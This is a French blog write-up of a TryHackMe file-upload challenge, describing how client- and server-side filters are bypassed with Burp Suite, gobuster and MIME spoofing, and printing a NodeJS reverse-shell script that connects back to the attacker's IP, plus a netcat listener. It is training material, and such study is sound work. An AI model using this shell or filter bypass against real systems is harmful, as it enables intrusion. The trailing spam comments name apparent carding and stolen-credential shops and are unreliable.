Upload Vulnerabilities challenge – Writeup – TryHackMe
Ce petit challenge est la tâche finale du cours sur l’upload de vulnérabilités de TryHackMe. Il s’agit d’un cours d’introduction sur différentes manières de filtrer les pièces jointes (contrôle de la taille, de l’extension, du type mime et de la signature) et de la manière de les contourner pour envoyer du code malveillant.
La description nous apprend que tous les types de filtres abordés pendant le cours seront employés côté client et côté serveur. Il faudra donc trouver un moyen de passer outre pour obtenir un shell sur la machine et accéder au fichier /var/www/flag.txt. Voilà de quoi réviser les acquis
En outre, l’auteur pense utile de préciser que tous les serveurs ne sont pas tous codés en PHP et propose au téléchargement une wordlist composée d’une multitude de combinaisons de trio de lettres. Voilà de quoi nous mettre sur les rails.
Pour commencer, associions l’adresse ip au sous-domaine pour accéder au site web : sudo echo 'TARGET_IP jewel.uploadvulns.thm' >> /etc/hosts
Enumeration des filtres côté client

On voit un bouton Select & Upload. Voyons le code source :
<!DOCTYPE html>
<html>
<head>
<title>Jewel</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<link type="text/css" rel="stylesheet" href="assets/css/style.css">
<link type="text/css" rel="stylesheet" href="assets/css/cinzel.css">
<link type="text/css" rel="stylesheet" href="assets/css/exo.css">
<link type="text/css" rel="stylesheet" href="assets/css/icons.css">
<link type="image/x-icon" rel="shortcut icon" href="assets/favicon.ico">
<script src="assets/js/jquery-3.5.1.min.js"></script>
<script src="assets/js/jquery.colour-2.2.0.min.js"></script>
<script src="assets/js/upload.js"></script>
<script src="assets/js/backgrounds.js"></script>
</head>
<body>
<div id="one" class="background"></div>
<div id="two" class="background" style="display:none;"></div>
<div id="three" class="background" style="display:none;"></div>
<div id="four" class="background" style="display:none;"></div>
<main>
<object ondragstart="return false;" ondrop="return false;" id="title" data="/assets/title.svg" type="image/svg+xml"></object>
<p>Have you got a nice image of a gem or a jewel?<br>Upload it here and we'll add it to the slides!</p>
<button class="Btn" id="uploadBtn"><i id="uploadIcon" class="material-icons">backup</i> Select and Upload</button>
<input id="fileSelect" type="file" name="fileToUpload" accept="image/jpeg">
</main>
<p id="responseMsg" style="display:none;"></p>
</body>
</html>
Ce script semble gérer la fonction d’upload <script src="assets/js/upload.js"></script>
Ouvrons-le :
$(document).ready(function(){let errorTimeout;const fadeSpeed=1000;function setResponseMsg(responseTxt,colour){$("#responseMsg").text(responseTxt);if(!$("#responseMsg").is(":visible")){$("#responseMsg").css({"color":colour}).fadeIn(fadeSpeed)}else{$("#responseMsg").animate({color:colour},fadeSpeed)}clearTimeout(errorTimeout);errorTimeout=setTimeout(()=>{$("#responseMsg").fadeOut(fadeSpeed)},5000)}$("#uploadBtn").click(function(){$("#fileSelect").click()});$("#fileSelect").change(function(){const fileBox=document.getElementById("fileSelect").files[0];const reader=new FileReader();reader.readAsDataURL(fileBox);reader.onload=function(event){
//Check File Size
if (event.target.result.length > 50 * 8 * 1024){
setResponseMsg("File too big", "red");
return;
}
//Check Magic Number
if (atob(event.target.result.split(",")[1]).slice(0,3) != "ÿØÿ"){
setResponseMsg("Invalid file format", "red");
return;
}
//Check File Extension
const extension = fileBox.name.split(".")[1].toLowerCase();
if (extension != "jpg" && extension != "jpeg"){
setResponseMsg("Invalid file format", "red");
return;
}
const text={success:"File successfully uploaded",failure:"No file selected",invalid:"Invalid file type"};$.ajax("/",{data:JSON.stringify({name:fileBox.name,type:fileBox.type,file:event.target.result}),contentType:"application/json",type:"POST",success:function(data){let colour="";switch(data){case "success":colour="green";break;case "failure":case "invalid":colour="red";break}setResponseMsg(text[data],colour)}})}})});
Le contenu est clair. Il existe un filtre côté client qui vérifie la validité du fichier en fonction de sa taille, de son extension et de sa signature (Magic number -> Liste des signatures de fichier).
On ne peut pas désactiver le javascript côté navigateur pour passer ces filtres car c’est ce script qui permet l’envoie de fichiers.
Pour envoyer un script de reverse shell, il faut neutraliser tous les filtres. Je vais faire ça avec Burp Suite.
Neutralisation des filtres côté client
Interception du script – Méthode 1
Dans les options du module Proxy, j’ajoute une règle d’interception de la réponse du serveur pour capturer les fichiers javascript envoyés par le serveur avant d’être reçus par le navigateur.

Maintenant, je vide le cache du navigateur, je recharge la page d’accueil avec Ctrl+Maj+R pour vider le cache sinon le serveur ne renverra pas les fichiers (Réponse 304 : le navigateur réutilise le fichier présent dans le cache) et je clique sur Forward pour chaque requête/réponse jusqu’à recevoir le script upload.js
Interception du script – Méthode 2
Dans les options du module Proxy, je supprime l’extension js des exclusions d’interception : |^js$

De cette manière, je verrai passer tous les appels du navigateur vers les fichiers javascript.
Maintenant, je vide le cache du navigateur, je recharge la page d’accueil avec Ctrl+Maj+R pour vider le cache sinon le serveur ne renverra pas les fichiers (Réponse 304 : le navigateur réutilise le fichier présent dans le cache) et je clique sur Forward pour chaque requête jusqu’à voir l’appel vers le script upload.js
Lorsque l’appel du script intervient, je cliquer sur « Intercepter la réponse ».

Puis je clique sur Forward jusqu’à ce que Burp intercepte la réponse avant qu’elle ne soit transmise au navigateur.
Cette méthode est un peu plus rapide que la première car on n’intercepte pas toutes les réponses automatiquement. Par contre, ça demande d’être attentif pour ne pas rater l’appel.
Une fois le script intercepté, il suffit de commenter le code (je n’aime pas supprimer les choses à la hache) concernant le filtrage puis de cliquer sur Forward pour envoyer la version modifiée au navigateur.

A partir de là, on s’est débarrassé du filtrage côté client et il ne reste plus qu’à gérer le back. On pourrait utiliser l’url du script directement, mais je préfère conserver la fonction du navigateur par convenance.
A la recherche du dossier d’upload
Avant de poursuivre, je m’assure que je peux accéder aux fichiers envoyés.
La page du site dit la chose suivante :
Have you got a nice image of a gem or a jewel?
Upload it here and we’ll add it to the slides!
On peut en déduire que les images envoyées sont directement stockées dans le même dossier que les images qui défilent en boucle en fond d’écran.
Le fichier style.css comporte l’url relative des images qui défilent #one{background:url("/content/ABH.jpg")
Il y a donc un dossier content, mais quand j’envoie une image, il est impossible de la retrouver. Ou le dossier n’est pas le bon ou l’image est renommée. Il est temps de lancer une énumération plus complète avec gobuster :
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://jewel.uploadvulns.thm
Je trouve 3 dossiers intéressants :
- /content
- /modules
- /admin
Je relance un gobuster sur le dossier /content avec la liste fournie par l’auteur du challenge.
gobuster dir -w UploadVulnsWordlist.txt -x jpg -u http://jewel.uploadvulns.thm/content
Le résultat trouve les photos que j’ai envoyées. Elles ont été renommées avec le format [3_lettres].jpg
Je sais maintenant où se trouvent les fichiers. Je retourne au filtres.
Filtrage côté serveur
J’envoie de nouveau mon image en la manipulant de diverses manières pour déterminer le type de filtrage effectué côté back.
- Changement de l’extension (extensions inexistantes ou diverses)
- Changement du Magic Number (signature)
- Changement du type mime
Je découvre que le back filtre sur ce dernier critère.
Au passage, le header X-Powered-By: Express de la réponse du serveur m’apprend que le back-end tourne avec le Framework Express qui est basé sur NodeJS. Le payload du reverse shell sera donc en javascript. Je cherche sur internet un payload de reverse shell en javascript.
Envoi du payload
Je trouve sur internet le script de reverse shell suivant :
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(4444, "10.9.158.221", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
J’envoie le fichier via la fonction du site et intercepte la requête avec Burp pour remplacer "type":"application/x-javascript" par "type":"image/jpeg" (le script d’upload a encodé le contenu du fichier en base64)

Exploitation
Je relance gobuster pour trouver sous quel nom a été enregistré le fichier. Cette fois, c’est OOE.jpg
Je lance un netcat en écoute sur mon poste nc -lnvp 4444 puis je me rends sur la page du script pour l’activer. Mais… argh, ça ne fonctionne pas. Normal, ce n’est pas une image.

A partir de là, je commence à tâtonner. Je me rends dans le dossier /admin et il me faudra longtemps avant de comprendre qu’il faut faire la manipulation suivante (le champ exécute du code dans le dossier modules. Comme ce dossier est situé au même niveau que le dossier content, il faut ressortir de ce dossier pour atteindre notre script) :

Et boum ! Il ne reste plus qu’à récupérer le flag qui se trouve dans /var/www selon la description du challenge.

Mission accomplie.
Pour retirer la ligne ajoutée dans /etc/hosts en début de challenge :
sudo sed -i '$d' /etc/hosts
Normally I do not read post on blogs, however I wish to say that this write-up very compelled me to check out and do it!
Your writing taste has been amazed me. Thanks, very nice post.
my web site :: briansclub cm
Hi, i read your blog from time to time and i own a
similar one and i was just wondering if you get a lot of
spam feedback? If so how do you protect against it, any plugin or anything you can recommend?
I get so much lately it’s driving me mad so any support is very much appreciated.
my blog: findsome.ru
This web site certainly has all the information I wanted concerning this subject
and didn’t know who to ask.
My web-site findsome
This paragraph will help the internet viewers
for setting up new web site or even a blog from start to end.
Stop by my website donald cc
Hi my friend! I wish to say that this post is amazing, great written and come with approximately all important infos.
I’d like to look more posts like this .
my web site: jerrys login
Attractive section of content. I just stumbled upon your weblog and
in accession capital to claim that I get actually loved account your
blog posts. Anyway I will be subscribing to your feeds or
even I achievement you get admission to persistently quickly.
Also visit my blog … wizardshop.cn
Thanks for finally writing about > Upload Vulnerabilities challenge – Writeup – TryHackMe |
L’Oeil Acoustique < Liked it!
Here is my web-site 4check
Tremendous issues here. I am very satisfied to peer your post.
Thank you so much and I’m having a look ahead to contact you.
Will you kindly drop me a mail?
Stop by my webpage; prozone
Hi there, I desire to subscribe for this weblog to take latest updates,
so where can i do it please help.
my website :: castrocvv
After I initially left a comment I seem to have clicked the -Notify me when new comments are
added- checkbox and now whenever a comment is added I receive 4 emails with the exact same comment.
Perhaps there is an easy method you are able to remove me from
that service? Many thanks!
My homepage … luxchecker
Wow, marvelous blog layout! How long have you been blogging for?
you make blogging look easy. The overall look
of your website is wonderful, as well as the content!
Here is my blog – xleet login
Very energetic blog, I enjoyed that a lot. Will there be a part 2?
Feel free to surf to my blog – luxchecker pm
I do not even know how I finished up here,
but I thought this post was good. I don’t recognise who you are however certainly you are going to a
famous blogger in case you are not already.
Cheers!
Here is my web-site – tox23
Excellent way of explaining, and fastidious paragraph to take information on the topic of
my presentation focus, which i am going to present in college.
My homepage bankom
Definitely believe that which you stated. Your
favorite justification appeared to be on the web the simplest thing to
be aware of. I say to you, I definitely get annoyed
while people think about worries that they just don’t know about.
You managed to hit the nail upon the top as well as defined out the whole thing without having side effect , people could take a signal.
Will likely be back to get more. Thanks
I’ve been browsing online more than three hours today, but I never found any attention-grabbing article like yours.
It’s beautiful worth enough for me. In my opinion, if all webmasters and bloggers made good content
as you did, the web might be much more useful than ever before.
My blog post – ultimateshop ru
Hi Dear, are you really visiting this site regularly, if so after that you will definitely obtain fastidious
knowledge. https://tichmarifa.blogspot.com/2025/08/blog-post.html
吸引人的 旅游杂志 继续发展 继续努力。真心感谢 食蟻獸 明亮的 旅行分享 继续创作。